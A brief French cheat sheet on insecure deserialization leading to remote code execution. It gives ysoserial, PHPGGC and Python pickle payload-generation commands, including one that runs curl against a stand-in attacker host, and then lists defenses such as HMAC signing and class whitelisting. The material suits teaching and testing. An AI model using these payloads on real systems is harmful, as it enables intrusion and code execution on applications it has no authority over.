Désérialisation non sécurisée

RCE OWASP A08

Principe

Si l'application désérialise des données non fiables (fournies par l'utilisateur), un attaquant peut forger un objet malveillant qui exécutera du code à la désérialisation.

Exploitation par langage

# Java : ysoserial
java -jar ysoserial.jar CommonsCollections1 "curl http://attacker.com" | base64 -w0

# PHP : PHPGGC
php phpggc Laravel/RCE1 system "id" -b

# Python : pickle
import pickle,os
class E:
    def __reduce__(self): return(os.system,("id",))
pickle.dumps(E())

Défenses

Ne jamais désérialiser des données utilisateur · JSON plutôt que formats natifs · Signer les données (HMAC) avant stockage · Whitelist des classes désérialisables